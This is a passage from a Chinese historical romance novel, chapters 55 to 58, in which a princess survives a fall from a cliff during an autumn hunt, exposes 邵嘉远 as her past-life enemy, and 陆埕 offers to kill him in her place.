眉心稍动,阿史那苍扬唇,“小……” “萧玉姿,萧庆媛,你们俩不是要和我赛马?还比不比了?” 乐宁看戏看得津津有味,猛然听见萧婧华这一声,当即想起“正事”,忙道:“比,当然要比!” 端和附和,“比。” 萧婧华高声吩咐,“来人,给本郡主和两位公主备马。” 第55章 陆埕身体偏向萧婧华,上睫垂着,以虔诚臣服的姿态低声问她,“还是骑清晨?” 阿史那苍笑出了声,他语气没有丝毫波动,神态不变,可说出来的话却带着极为明显的讽意。 “陆侍郎还真是做马倌来了。” 陆埕置之不理,认真凝望萧婧华,眼里再也看不见他人。 阿史那苍嘴角笑意微顿。 萧婧华抬首,两道眉渐拧,“陆大人,我们上次……” “我知道。” 陆埕低声将她打断,“可我不愿。” 不愿与你再无瓜葛。 这段时日,无人会满心欢喜地唤他的名字,分享大大小小的喜事哀愁,对他露出明丽温暖的笑容。 无人绕在他身侧,小声与他喃喃私语。 那个明媚灿烂的姑娘,再也不会等他归来。 除了公事,他做什么都提不起兴致,心脏仿佛丢失了一块,风一吹,只余满腔空茫,茫然无措。 陆埕清楚地知道,那不是习惯。 她带走了他埋在心里多年的感情,留下一具躯壳。 面子也好,自尊也罢,在失去她面前皆可放下。 他不想看着她另嫁他人,不想抱憾终身。 哪怕再难,他也不想放弃。 男子面容似玉,凤眸宛如溶了清泉,干净澄澈。浅黑的瞳仁安静注视着她,眸光清透,如碎玉凝冰。 萧婧华指尖微颤,唇瓣紧抿。 在她出声之前,陆埕道:“若是不想要清晨,马厩内还有其他适合你的马,只是需花费些功夫。” “这有何难?” 阿史那苍抱臂而立,“驯马对我这个北夷人来说,是最简单不过的事。小金花,你看上了哪匹,我帮你。” 邵嘉远不甘示弱,柔声道:“嘉远不才,亦可为郡主驯马。” 宁拓安静立着没说话。 上次之后,他想明白了一件事。 与人相争何等愚蠢,他该做的,是站在郡主身后,无条件理解她、支持她才对。 别人的话,他一句都不用管。 “喂!还比不比了?” 清脆女声落下,乐宁一袭红色骑装,端坐马背。红衣猎猎,与她身后满树繁秋相映,更衬眉眼灼目傲然。 视线一转,端和正接过马倌递来的缰绳,脚踩在马镫上,利落地翻身上马。 “当然要比。”萧婧华高声回道:“你那把绿绮琴,今日我非要拿到手不可。” 乐宁哼声,“说大话谁不会,你快点!再慢些,我就当你认输了。” 萧婧华当即道:“让清晨出来。” 陆埕眼里浮现出清浅的笑,亲自牵着清晨出了马厩,与马倌一道套好马鞍,将它牵至萧婧华面前,随后便安静地退开了去。 清晨感受到主人的气息,欢快地甩着马尾。萧婧华看陆埕一眼,用手顺了顺清晨鬃毛,眸中柔和。脚踏在马镫上,裙裾翩飞,她转瞬落在马背上。 见她上了马,端和问:“跑几圈?” 萧婧华:“五圈,事先说好,再赖账,我可不会轻易饶过你们。” “谁赖账了?”乐宁心虚反驳。 萧婧华乜她一眼,一扬马鞭。 “驾!” 身下清晨扬起马蹄,瞬间冲了出去。 乐宁叫了一声,“你耍赖!”随后立即追赶上去。 端和不甘落后,双腿一动,马儿嘶鸣一声,向前奔去。 三个姑娘策马扬鞭,乌发飘舞,意气风发。 谢瑛看得心痒,转头从马厩中牵出一匹马。她连马镫也没踩,足尖在地上一点,直接飞身上马。 “驾!” 谢瑛拉着马缰,高声笑道:“婧华,等我!” “没想到,小金花的骑射功夫还不错。” 阿史那苍目光追随着马场之上那道明亮的身影。 陆埕眸光不动,“她做什么都是最好的。” “若她嫁到我北夷,想必也能成为最好的可敦。”阿史那苍笑语。 此话一出,三人齐齐抬头,目光冰冷似锥,直直刺向阿史那苍。 “三王子这话说得早了些。”邵嘉远含着笑音,“和亲一事未有定论,三王子慎言,当心传出去坏了郡主清誉。” 阿史那苍耸肩,“此处就我们几人,谁能传出去?” 他微微直起身子,鹰隼似的目光罩着邵嘉远,尾音上扬,“你吗?” 那目光太过阴鸷,看得邵嘉远心中一凛。 “听三王子这话音,该是对可汗之位势在必得,就是不知,铁木勒可汗可知三王子的宏图大志?” 锐利的视线射来,陆埕不为所动,坦然与那眼神的主人对视。 半晌,阿史那苍笑了,“是本王失言,不过陆侍郎这话颇有些挑拨离间的嫌疑,倒是让本王怀疑,盛朝是否还对我族怀有友善之心。” 宁拓目光微闪。 这话直接将陆埕架了起来。 他刚要开口,便听陆埕如玉珠坠盘,清凌凌的嗓音响起。 “太。祖与北夷的盟约,我朝世代遵守,从无违背。三王子若是不满埕之妄言,可禀告陛下,亦可出声训斥,却不能将两朝君主这么多年的努力付之东流。” “这不啻于,于子不孝,于民不忠,于臣不义。” 陆埕后退一步,躬身作揖,沉声道:“陆某失礼,还望三王子见谅。” 场内鸦雀无声。 阿史那苍脸颊肉跳动。 他极力隐忍,攥紧手指,咬着后槽牙道:“陆侍郎深明大义,本王领教。” 陆埕起身,“多谢三王子体谅。” 阿史那苍半眯着眼看他,怒极反笑,“今日的教训,本王记住了。” 陆埕颔首,不置一词。 “这次不算!” 寂静马场内骤然响起清脆女声。 宁拓如梦初醒,循声望去。 乐宁坐在马背上,一脸气愤地瞪着对面的萧婧华。 “你方才跑早了,这次不算,再比一次!” 萧婧华气笑了,“你又耍赖?!” “我没!” 乐宁梗着脖子,不服气道:“是你抢跑!” “你也认为不算?”萧婧华看向端和。 端和抿抿唇,小幅度点了下头。 萧婧华冷笑,“没见过比你们还赖皮的人。” 谢瑛策马跑来,与萧婧华并驾,眼珠转了一圈,问道:“怎么了?” “没事。” 萧婧华摇摇头,作势要下马,“算了,我不赌了。” “诶,别呀。” 乐宁忙叫住她,“最后一次,我保证,一定是最后一次!” 萧婧华上下扫她一眼,呵道:“方才也有人说那是最后一次。” “谁叫你不守规矩的。”乐宁噘嘴,“这样,咱们不比跑马,比射猎如何?谁射中的猎物最多谁获胜。” 端和附和,“婧华姐姐,再比一次。” 她伸出一指保证,“绝对是最后一次。” 萧婧华不信,怀疑道:“真的?” 乐宁端和异口同声,“真的!” “我要是骗你,就让我当着父皇和文武百官的面大喊三声我不如萧婧华。”乐宁放狠话。 萧婧华眸光微动,装作勉强,“行。” 见她同意了,乐宁眼角眉梢都挂着喜意,扬声吩咐,“来人,取弓来!” “阿瑛,你随我去吗?” 谢瑛方才跑了几圈马,正在兴头上,闻言当即表态,“去,当然要去。” 侍卫们为几人取来弓箭,萧婧华挂在一旁,抬起下颌,“一起走?” “走!” 乐宁一马当先。 “又耍赖。”萧婧华无语,转头对谢瑛道:“阿瑛,走了。” 谢瑛笑回:“来了。” 四个姑娘策马离开,皇宫侍卫立马驾马跟上,护卫她们的安全。 她们方才的话,陆埕几人也听在耳中。 陆埕牵出一匹马,长腿一跨,稳稳落在马背上。 阿史那苍吹了声哨子。 一匹黑马哒哒跑来,他未停顿,飞身而上,挑眉望着陆埕,“陆侍郎可要与本王比比?” 陆埕摇头,“陆某不擅骑射,三王子还是另寻他人吧。” 他略一颔首,循着萧婧华离开的方向追了上去。 邵嘉远笑道:“三王子若不嫌弃,可与我比试比试。” 阿史那苍居高临下看他,笑了,“行。” 宁拓正要去寻马,保福突然气喘吁吁跑来,“小公爷,快随我走吧,夫人正寻您呢。” 看着阿史那苍和邵嘉远离开的背影,宁拓眉心皱起,“现在?” “是啊。”保福道:“夫人着急着呢。” 犹豫两息,宁拓失望松开缰绳,随保福一起离开,“可知是何事?” 保福老实摇头,“不知。” …… 草丛悉索动弹,谢瑛撘箭,指尖勾着箭羽。 猛一松手,箭矢如流星急射出去,直直射中草丛里的猎物。 “中了。” 谢瑛笑着,翻身就要下马。 余光里瞥见她的动作,萧婧华忙唤住她,“谢春呢?” 谢瑛摆手,“让她跟着筱筱了。” 萧婧华适时住口,没问云慕筱在何处。 她转头吩咐身后侍卫,“去将谢姑娘的猎物取来。” “喏。” “婧华,你怎么不动?” 既然有人代劳,谢瑛便老实坐在马上。 萧婧华摇头轻笑,“我不会。” “啊?”谢瑛震惊,“不会?” “是啊。” 萧婧华坦然道:“射靶子还行,若是让我猎活物,那定是不行的。从小到大,我几乎没怎么见过血。” 顿了顿,忽略脑海里的某些画面,她又道:“往年秋猎,我都是等着父王和太子哥哥给我把猎物猎来。” “那你方才为何要同意与两位公主比试?”谢瑛不解。 那不是指定要输吗? 萧婧华撇嘴,“乐宁最宝贝她那把绿绮琴,端和将她的白玉棋视为心头肉,绝不可能输给我。与其让她们继续耍赖,不如赢了我。” 她们三人自小一起长大,乐宁端和自是清楚,于射猎一道,她必输无疑。 谢瑛望着她。 这姑娘虽然看着高傲,但其实内心最为柔软。 她笑了笑,“没事,我帮你猎。” “真的?” 谢瑛拍着胸脯,“我从不说谎。”萧婧华惊喜,“好啊,那今日可就靠阿瑛了。” “定不让郡主失望。” 谢瑛扬起笑。 侧方林间有东西一闪而过,谢瑛眼尖,喜道:“是头鹿。” “婧华等着,我去给你猎来。” 她策马追上。 “诶!” 谢瑛动作快,几息便跑出老远,萧婧华只来得及对她的背影喊:“当心些,别受伤了!” 她点了一队侍卫,“快去跟着谢姑娘。” “是。” 几个侍卫追着谢瑛而去,萧婧华看着他们的背影消失在林间,骑着清晨等在原地。 片刻后,后边响起几阵马蹄声。 是陆埕和阿史那苍、邵嘉远追来了。 三人停在萧婧华身后,阿史那苍问:“小金花,你在这儿做什么?” 萧婧华懒懒回:“等人。” 草丛忽然动了下,阿史那苍朝那处瞥了眼,笑道:“有只野兔,你喜欢吗?我给你猎来。” 萧婧华下意识皱眉,还未回复,便见阿史那苍举弓搭起了箭。 “你别……” “咻——” 流光风驰电掣而来,寒光刺眼,直直坠入萧婧华身下土壤中。 “嘶——” 清晨骤然发了狂,引颈嘶鸣,两只前蹄腾空,疯狂甩动马臀。 眼看抓着马辔的萧婧华半边身子腾空,予安和觅真齐齐色变。 “郡主!” 下一刻,清晨前蹄落地,载着萧婧华一头冲进林间。 一切皆发生在眨眼之间。 陆埕面色大变,率先驾马去追,“救郡主!” 第56章 耳畔风声呼啸。 清晨力道太大,萧婧华整个身子伏在马背上,双手死死抓着马辔。 若非她方才眼疾手快抓住马辔,此刻说不准已丧命在马蹄下。 她努力稳住急促的呼吸,缓缓松开被勒疼的手心,抱住马脖子,半张脸埋进鬃毛里,耐心安慰,“清晨,别怕,那箭不是射你的,你慢慢停下来好不好?” “你别怕,停下来。” 清晨完全听不进主人的话,马蹄所过之处尘土漫天。 两侧树木飞快倒退,萧婧华紧紧咬住唇,不敢松手。 “郡主!” 身后有声音在呼唤。 萧婧华眼睛被风吹得睁不开,艰难回头。 她看不清,只能依稀靠着衣服颜色辨认来人。 “低头!” 突然有道声音大喝。 萧婧华下意识将脸埋回马脖子里。 头顶树枝唰唰作响,挽发的玉簪被枝桠勾落,青丝散开,在肩背铺陈。 马蹄阵阵,恰如雷鸣。 眼角余光里,有人策马向她伸手。 “小金花,抓住我!” 是阿史那苍。 生死面前,萧婧华顾不得其他,试探性松开手。 林间忽而一阵震耳欲聋的咆哮,草屑漫天,林鸟争先飞逃,一个庞然大物陡然冲了出来,伸出巨掌,在罡风中拍向离它最近的阿史那苍。 阿史那苍急急调转马头,惊险避开那一掌。 “轰——” 他身后的树木轰然倒塌,横贯在路中央。 陆埕双腿夹着马腹,口中轻斥一声。 身下骏马一跃而起,越过那棵树,急急追在萧婧华身后。 “郡主!” 觅真正要去追,那熊瞎子大步踏来,正好将前路堵上。 她匆忙勒马,才没一头撞上去。 予安弃了马,提气跃至树间,她攀着树枝,动作灵敏似猴,逐渐越过萧婧华,在她前方一棵树上落下,凝神望着马上之人。 熊瞎子方才那一声将清晨吓住了,它拼命狂奔,疯狂抖动,想将身上之人抖下去。 萧婧华被颠得心口一阵发疼,半个身子几乎悬在空中,手心火辣辣得疼,凭着一股劲才没松手。 予安攀着树干朝她伸手,大声道:“郡主,抓住我!” 萧婧华迎着风,艰难探出手。就在她即将勾到予安指尖时,身后倏地响起一声大喝。 “郡主,抓住!” 马鞭裹挟着狂风呼啸而来,萧婧华指尖颤抖,略一瑟缩,那鞭子勾住她腰间玉带,险些将她整个人掀翻下去。 “邵世子,你在做什么?!” 眼看着与萧婧华失之交臂,予安大怒,回首瞪着邵嘉远。 邵嘉远却没功夫回她。 他顺着鞭子,在马上一蹬,借力落在萧婧华身后。 “郡主,别怕,我不会让你有事的。” 萧婧华心中恼怒。 若不是他,她此刻早就没事了! 两臂越过萧婧华握住马缰,邵嘉远奋力驯服清晨。 动作间,萧婧华身上配饰叮当作响。 清晨却越发狂怒,口中发出一声嘶鸣,扬蹄狂奔。 予安咬牙,正要继续去追,瞳孔瞬间紧缩,不可置信地喊:“郡主!” 她方才没注意,前方竟然是座悬崖! 湛蓝天穹下,骏马足下打滑,载着身上二人齐齐坠入悬崖。 马鸣悲切,响彻空谷。 “婧华!” 陆埕追赶而至,眼见萧婧华跌落的身影,迅速翻身下马,不假思索地随她跃了下去。 “郡主!” 予安步伐踉跄,趴在悬崖上大喊:“郡主,陆大人——” 云雾缥缈,遮挡住视线。除了她的回音,再无回应。 …… 嘀嗒。 嘀嗒。 耳畔不断有水声回响,平白扰人清梦。 梦? 昏睡中的人眉头紧锁,眼皮抖动,缓缓睁眼。 痛。 好痛。 这是萧婧华清醒后的第一反应。 她艰难地直起身子,这一动,骨头仿佛都在噼里啪啦作响。 “郡主醒了?” 不远处有人轻声询问,随后便是一阵凌乱的脚步声,有人走到她面前蹲下,忧心问:“郡主感觉怎么样?” 光线昏暗,萧婧华皱眉辨认来人的身份,迟疑着问:“邵世子?” “是我。” 邵嘉远柔声回应,“我打了些水,郡主可要用?” 萧婧华并未答复他,四处睃巡。 他们应当是处于山洞之中,洞内狭小,她方才躺在里侧挨着山壁,几步之外燃着火堆,明亮的光驱散了不少来自夜晚的凉意。 洞外一片黝黑,什么也看不分明。 萧婧华蹙了下眉,“这里,只有我们两人?” 掉下悬崖之前,她好像看到了陆埕。 邵嘉远道:“不错。” 他端着用竹筒接的水,面上倒是没有什么不耐的神色,反而一脸愧疚,“都怪我,若非我救郡主心切,我们也不会落此境地。” 邵嘉远背对着光,萧婧华看不太清他脸上的神情,只能听见他内疚的嗓音。 “回去之后,郡主若要责罚,嘉远毫无怨言。” “只是现下尚未脱困,还请郡主忍耐几许。” 萧婧华目光凝在他脸上。 黄色的光映在她眼中,似冬日坠在枝桠下清凌冰锥,透着几分寒凉。 她缓缓笑了,“邵世子虽心急,但也只是忧心本郡主的安危,这点我还是知晓的。” 邵嘉远嘴角抿出一抹羞涩的笑。 他递出手上的竹筒。 “这是接的溪水,我尝过了,干净的。” 萧婧华未动。 邵嘉远迟疑,“郡主可是不方便?” “方才手臂是有些疼,现在倒是不碍事了。” 萧婧华接过邵嘉远递来的竹筒,鼻尖轻轻动了动。 山泉水的清冽之气扑面而来,她眸光微动,仰头喝水。 放下竹筒时唇上沾了些许晶莹,萧婧华问:“现在几时了?掉下悬崖后,是邵世子将我带到这里的?” 邵嘉远望了眼洞外,“应当是亥时了。”语气里含着庆幸,“好在这悬崖不算高,郡主坠下时被崖下树木挡了一下,这才没什么大碍。” 萧婧华垂眸感受着。她衣裳上沾了不少草屑,身上多是擦伤,确如邵嘉远所说没什么大碍。 “我带着郡主寻了许久才找到这个山洞。” 邵嘉远忽然叹了声气,愁道:“也不知此地可有大型野兽,若是再来一头熊瞎子或是老虎,这条小命怕是真要保不住了。” 萧婧华身子一抖。 邵嘉远拍了下嘴,懊恼道:“我这张烂嘴,胡诌什么呢!” 他安慰道:“郡主放心,就算是死,也是我死在郡主前面,绝不会让郡主受到一丝伤害。” 萧婧华唇边勉强扯出一丝笑,“多谢邵世子了。” 邵嘉远笑笑,“我摘了些果子,郡主尝尝?” 萧婧华侧眸看去,微微一顿。 邵嘉远手边放着几张叶子,上头放着小堆青色果子。果子表皮上沾着水珠,保存得极好,跟刚摘下来似的。 她愣了许久。 “郡主,郡主?” 邵嘉远不知她为何发怔,疑惑道:“怎么了?”“无事。” 萧婧华摇头,轻轻阖上眼皮。 “我不饿,想歇会儿,世子自己吃吧。” 邵嘉远不知她为何忽然淡了脸色,但也不好深问,只好起身走到山洞口,用搁在一旁的杂草将洞口掩得严严实实,随后就地而坐,温声道:“郡主放心,我就在此处,绝不会逾距,安心睡吧。” 萧婧华勉强提唇,“多谢。” 她缓缓躺下。 似是知她挑剔,地上铺着厚厚一层杂草,虽和王府内她那张舒适柔软的大床不能比,但已是现下给她的最好待遇。 萧婧华闭眼躺在草垛上。 身上擦伤越疼,她的思绪就越清晰。 好的坏的想了一通,萧婧华只觉得脑子涨得疼。 她缓缓舒了口气,长指搭在太阳穴上轻轻按揉,随后放在前腰上,后背靠着山壁养神。 不敢睡得太沉,这一夜萧婧华格外难受,一会儿觉得脑子特别清醒,难熬漫漫长夜。一会儿又好似陷入混沌之中,做了许多光怪陆离的梦,浑浑噩噩,头脑昏沉。 细碎声响顺着光亮爬上萧婧华耳廓,她猛然从草垛上惊醒。 “是我吵醒郡主了?” 突如其来的声音令萧婧华瞬间竖起汗毛,手紧紧抓住腰上束带,霍地朝发声之人看去。 邵嘉远立在洞前,手搭在杂草上,似是准备出去。 有亮光从外头照进来。 萧婧华失神片刻,原来天亮了。 “抱歉。”邵嘉远歉疚道:“我只是想出去看看,顺道打水让郡主洗漱。” 思绪一点点回笼,萧婧华颔首,“那便劳烦邵世子了。” 邵嘉远勾起唇,柔声道:“不麻烦,嘉远甘之如饴。” 萧婧华撇开眼,不接他岔。 邵嘉远笑笑,掀开杂草走出山洞。 他走后,萧婧华撑着山壁起身。 绕着山洞走了两步,好像没昨日那么疼了。 片刻后,邵嘉远拎着几竹筒水去而复返。身上带着水汽,应是清洗过了。 “郡主请。” 将水递给萧婧华,他彬彬有礼地退了出去。 萧婧华望了眼手里竹筒,倒出水来洗漱,只是仍未入口。 “好了。” 听见她的声音,邵嘉远走到洞口,“我去给郡主找些吃的。” “不用了。” 萧婧华叫住他,俯身拾起地上的果子,“我吃这个就行。” 果子放了一夜,外皮轻微发皱,看着不怎么新鲜。 邵嘉远眉头皱起,“怎么能让郡主吃这种东西?” “没什么不能吃的。” 萧婧华轻轻咬了一口。 是属于记忆里的清甜。 压下心里的燥意,一口一口吃完果子,她起身朝外走去。 “外边危险,郡主还是就待在山洞里吧。” 邵嘉远跨了一步,正好挡在萧婧华身前。 萧婧华撩起的眼里似笑非笑,温和道:“邵世子甘愿为了本郡主以身犯险,我又不是铁石心肠,怎可能不动容?” 她浅笑,“无论前路如何,我愿与世子同生共死。” 邵嘉远一愣,眼中顿时迸发出惊喜,“好。” 萧婧华扬唇,迈步越过他。 杂草遍地,满目枯黄。 成片的树挡在前方,荒芜无路。 萧婧华问:“方才世子是在何处打的水,我想去看看,说不准能找到离开的路。” “这边。” 邵嘉远忙为她引路,“路不好走,郡主小心些。” 萧婧华颔首,提着裙摆小心翼翼地走在他后边。 路上石子多,还要防备时不时掠过的飞虫蚂蚁,这一路她走得格外艰难。 好在没过多久,潺潺溪流声传了过来。 邵嘉远拨开杂草,“到了。” 萧婧华略有些急切地走到溪边。 鹅卵如玉堆叠,溪似银带蜿蜒,蕴着歌谣奔涌。游鱼徜徉,悠然自在。 她蹲下身,用手撩起溪水。 凉意从手心传至全身,萧婧华举目张望。 “郡主,咱们去这边看看吧。” 邵嘉远站在一丈开外,指着某个方向。 萧婧华收回视线,长睫轻颤,缓缓起身。 转身的刹那,她脚底打滑,一个踉跄,险些摔倒。 “郡主!”邵嘉远惊呼。 “我没事。” 嗓音里带着一丝微不可察的颤意,萧婧华稳住身形,低眸望着脚下。 两块鹅卵石间躺着一串络子。 青碧色,如意结,是她曾经亲手送给陆埕那枚。 “郡主?” 身后询问声幽幽,似绕了好几个音,怪诞诡谲,如临鬼魅。 林间有风起,环在萧婧华身侧。 她背对着邵嘉远,硬生生打了个颤,顿生冷意。 第57章 萧婧华用足尖碾着鹅卵石,将那串络子彻底挡住。 她转过身,娇气抱怨,“这儿的路怎么这么难走。” 邵嘉远笑着轻哄,“荒郊野外,委屈郡主了。我会尽快寻到回去的路。” 萧婧华抬着下巴,鼻尖溢出一声轻哼,将娇生惯养,没吃过一点苦头的矜贵郡主演绎得淋漓尽致。 邵嘉远撕下一块衣角,递给萧婧华,“郡主若是害怕,可以拉着我。” 她快步上前,捏住衣角一头,仰脸笑道:“那就多谢世子了。” 比起往日的平淡,说话时嗓音里多了丝若有似无的娇意。 邵嘉远眉间笑意加深,“为郡主效劳,是我该做的。” 他捏着衣角另一头,谨慎地牵着萧婧华往前走。 或许是错觉,萧婧华总觉得邵嘉远似乎在避开某个方向。 那边有什么? 会是……他吗? 她咬咬唇,不去想。 走了整整一个时辰,他们始终在林子里打转,萧婧华身娇体贵,有些受不住了。 邵嘉远只好带她回到那个山洞。 “我去找点吃的。” 扶着萧婧华在石头上坐下,邵嘉远低声道。 萧婧华点了点头,素手抚上腰间,脚下有块石头,她足尖踩在上面,一下一下地点着。 邵嘉远走出两步,萧婧华看着他的背影,目光渐渐冷了下来。 “邵世子。” 她忽然将他唤住。 “怎么了?” 邵嘉远回头。 萧婧华面色微红着轻轻摇头,“没什么,注意安全。” 邵嘉远脸上扬起笑,“放心,我会的。” “郡主若是……” “离她远些!” 骤然爆发的喝声惊走了丛中小兽,树荫间唰唰几声,鸟雀纷纷飞逃。 邵嘉远下意识回头朝着声源处望去。 萧婧华的目光陡然一厉,她捞起脚下石头,疾步上前,朝着邵嘉远后脑狠狠砸去。 “嘭——” 石头坠地,血迹分外刺眼。 邵嘉远不可置信回头,震惊道:“郡、郡主?” 他身体摇晃几下,禁不住脑中眩晕,轰然倒地。 萧婧华合上颤抖的双手。 “婧华!” 远处那人快步走来,握住她的双肩,紧张问:“你怎么样,可有事?” 萧婧华抬眸,怔忪看着他。 他仿佛在泥里滚了好几圈,全身上下不是泥土就是草屑,向来打理得一丝不苟的乌发蓬乱无章,额上青紫,血糊了整个额头。 白皙的脸庞黑一道白一道,滑稽又可怜。 悬着的一颗心突然就落了地。 活着就好。 哪怕已经和陆埕决裂,她也不希望他因为她丧命。 陆家的日子刚好起来,他若出了事,对陆姨和阿旸来说,无异于致命打击。 她不愿看到他们责备的目光。“你……发生了什么?” 陆埕目光复杂地瞥向躺在地上不省人事的邵嘉远,低声道:“是邵世子。” …… 昨日。 悬崖上。 陆埕纵身一跃,来不及抓住萧婧华的手,只能与她一同坠落。 风声哭嚎,似一曲悲戚之乐,环绕在他耳侧。 身子急速下坠,他与萧婧华一前一后落在林荫间。 树枝毫不留情擦过裸露在外的皮肤,留下道道擦痕。 身体结结实实砸在地上,掀起漫天尘土草叶。陆埕闷哼一声,顾不上身上的痛,艰难起身,走向躺在不远处的萧婧华。 “郡主?婧华?” 少女闭着眼,毫无回应。 陆埕探指在她鼻尖,感受着温热的气息,紧绷的心弦松开。 没看见邵嘉远的身影,这种时候,他也顾不上外人的安危。 往周围环视几圈,陆埕拦腰抱起萧婧华。 现下这种情形,他不放心把她一人留在这里。 走了大概小半个时辰,终于寻到一处隐蔽的山洞。 拨开杂草,陆埕寻来不少干草铺在地上,随后才将萧婧华放上去。 凝望她闭着眼安静睡着的模样,陆埕用衣摆将手擦干净,随后轻轻抚摸她侧脸。 感受着指腹下的柔软触感,他目光放柔。 只有在这种时候,他才能这般肆无忌惮地看着她。 拭去萧婧华脸上脏污,陆埕屈膝靠着山壁。 那习武先生还是有些本事的,等他回京,得给他涨月俸。 歇了片刻,陆埕起身去外边寻了些果子。 耳畔依稀有水声回荡,将洞口掩上,陆埕找到一条溪流。 接完水,身后有人嗓音惊喜,“陆大人?” 陆埕回头,见了来人亦是惊讶,“邵世子?你可有大碍?” 邵嘉远摇头,“幸好命大。”他四处望着,“郡主呢?她可有事?” 陆埕摇头,“她无事。” 跟着陆埕回到山洞,邵嘉远问:“陆大人和郡主掉在哪儿了?” “被树接了一下。” 瞥了眼竹筒里的水,邵嘉远道:“我看那条溪流里有不少鱼,我与陆大人一道抓几条吧,等郡主醒来,正好烤了。”陆埕不太想离开萧婧华。 邵嘉远苦笑,“方才撞到了手臂,我这只手使不上力。” 他动了动右手,一脸痛苦。 陆埕微皱了下眉。 平时也就罢了,可这种时候,多一个人多份力,他劝说自己暂时放下对邵嘉远的芥蒂。 “好。” 邵嘉远绽开笑,“那便谢过陆大人了。” 二人相伴来到溪边,陆埕弯腰挽起裤腿。 正要下水,邵嘉远忽然叫他。 “陆大人。” 陆埕回头,一块石头猛地朝他砸下。 额上剧痛,他撑着头,惊愕道:“邵……” 邵嘉远面带狠意,又举着石头再度用力一砸。 眼前一阵天旋地转,陆埕晕厥过去,倒地不起。 待他醒来,正身处深坑之中。 头顶被和着泥的杂草封死,想来邵嘉远从未想让他活下去。 顾不上思索邵嘉远的动机,忧心山洞里的萧婧华,陆埕忍着痛,费了九牛二虎之力才爬上去。 不愿与萧婧华提及这些,他言简意赅,“邵世子砸晕了我。” 提起邵嘉远,眸中水光滢滢尽散,萧婧华挥开陆埕的手,深吸口气,走到邵嘉远身旁。 蹲下身子,她双手揪住邵嘉远的衣领,猛地往两侧拉开。 “郡主?” 陆埕被她的动作惊住了,双腿一迈,在萧婧华身边蹲下,一把抓住她的手。 萧婧华却无力回复。 她看见了一颗痣。 白皙胸膛上,一颗如杜鹃啼血,红得像血一样的痣。 双耳猛地轰鸣,好似有山寺钟声在她耳畔震响。 一声又一声。 满目猩红。 繁荣昌盛的京城风声鹤唳,家家户户闭门不出,长街上不再有商贩孩童的身影,取而代之的是无数具尸体。 父王心口插着一根箭,血流不止,生死不明。 皇伯父坐在龙椅上,神色沉寂漠然。 护着父王的侍卫被一箭射中胸膛,溅起的血在空中飞舞,一点点汇聚成她眼中的红痣。 是他,真的是他。 萧婧华清楚。 那人以她为目标,她不必费心寻找,只需静静蛰伏等待,他早晚会送上门来。 中秋灯会,看见邵嘉远与陆埕穿着同一颜色的衣衫时,她心里便存了疑。 如今更是一切都有了解释。 那日,卖灯的店家应是将陆埕当成了他,可惜他被乐宁缠住了,不然,救她的,应该是邵嘉远。 和她一同用膳时,邵嘉远从不会将荤菜送到她面前。 若非知情人,他怎么可能知道她的忌讳? 她等着,候着,不敢让予安和觅真离身。 可没想到,邵嘉远竟然丧心病狂到对她的马下手。 稍有不慎,他们都会丧命于马下。 萧婧华抖着手摸上腰。 寒光照亮一双冰冷的眼,她抽出一把匕首,刀尖对准邵嘉远胸口,狠狠往下刺去。 “你做什么?” 一只大手陡然握住她细弱的胳膊。 陆埕制止了她的动作。 下一刻,他猛地僵住。 蓄在眼底的泪水顺着脸颊滑落,萧婧华悄无声息地泪流满面。 她哭着大喊:“我要杀了他,杀了他!!!!” 水洗过的眼睛里燃着恨意的火光,亮得惊人。她撕心裂肺地吼叫,压在心底的恨第一次显露狰狞。 陆埕从未见过她这般模样,心尖一颤,手上力道不自觉放松。 是受了委屈? 他握住萧婧华的手。 “哐当——” 匕首坠地。 陆埕将哭泣的少女揽入怀中,大手抚着她的后背,低沉沙哑的嗓音响在耳侧,轻声道:“不哭,别怕,我在。” “别怕,不哭。” 萧婧华揪住他的衣衫,放声大哭。 她可以接受自己嫁的不是良人。 可她不能接受,那人借她的手害死父王。 那是她的父王啊,这世间最包容她、疼爱她,无条件支持她,为她遮风挡雨的父王。 他怎么能,因为她嫁了个小人,就这样没了呢? 怎么就没了呢? 眼泪洇湿了陆埕衣襟,他抱紧怀里哭到全身颤抖的少女,一遍遍安慰着。 “别怕,不哭了,我在这儿。” “别怕……” 世界空荡孤寂,萧婧华只能听见自己的哭声。 脑海里的画面逐帧散去,她渐渐冷静下来,由嚎啕大哭转为小声啜泣。 意识到自己在陆埕怀里,萧婧华猛地将他推开,擦干眼泪,捡起掉落的匕首,对昏迷的邵嘉远高高举起。 手腕再一次被握住。 恶狠狠地瞪着陆埕,萧婧华语气极冷,“你要阻止我?” 陆埕唇线紧抿,“为何要杀他?” “你管我为什么。” 萧婧华咬牙切齿道:“这人与我有深仇大恨,今日,我必杀之。” 她撩起眼皮,泛着水光的眼睥睨嘲讽,“陆大人的烂好心就不必发到我跟前了。知道你为人公正,回去之后,你只管将我以杀人的罪名告上公堂,本郡主绝不辩解。” 他怎会、怎么能这样对她? 在她心里,他岂是这样的人? 陆埕忽略心口痛意,攥住她的手微微发紧,深深吸气,语气很轻,“你从未见过血,能……” “你怎么知道我没见过?” 萧婧华不耐烦地将他打断,冷漠道:“杀人这种事,一回生二回熟。” 简单的一句话,却让陆埕心间一窒,针扎似的痛意密密麻麻蔓延开。 她说一回生二回熟。 连杀鸡都没见过的人,竟然能说出这句话。 那时候,她是怎么忍着恐惧下的手? 一定很害怕吧。 她可哭了? 可曾唤过他的名字? 可……恨他……? 心里的劲倏然松了。 陆埕大力握住萧婧华手腕,凤眼闭上又睁开,在她冷漠又不解的目光里,用尽全身的力气,一字一字道:“我来。” “……别脏了你的手。” 第58章 秋风起,红枫落。 素白的手拾起落在草丛上的枫叶,乌发成丝,根根拂落。 萧婧华坐在石头上,仰头安静望着两指间的叶子。 光照之下,枫叶脉络清晰可见,从同一点出发,沿着不同的方向,形成迥异的纹路。 枯枝被踩踏的声响似薄冰破裂,光影落下,遮挡住光线。 萧婧华放下手,目光挪向来人。 清隽眉眼沉沉,面色惨白,唇瓣毫无血色。 他应是清洗过,脸庞带着水汽,额上的血迹不见了,取而代之的是一条白布,看料子应是里衣,绕过额头缠在脑后,倒是添了几分自从进了官场便消散了的书生气。袖子下的指尖在颤抖,看不出有丝毫血迹残留,水珠啪嗒滴落,砸在枫叶上。 “他死了?” 陆埕尾音不稳,“是。” 萧婧华倏尔笑出了声,“多谢,我欠你一个人情。” 如恶鬼一样压在心上的人死了,她眼角眉梢都含着浓浓喜悦,罕见地给陆埕一个好脸色。 她并未怀疑陆埕是在阳奉阴违。 他这人最守诺,答应她的事,一定会做到。 陆埕缓慢摇头。 他在萧婧华身旁落座,抬头望天。 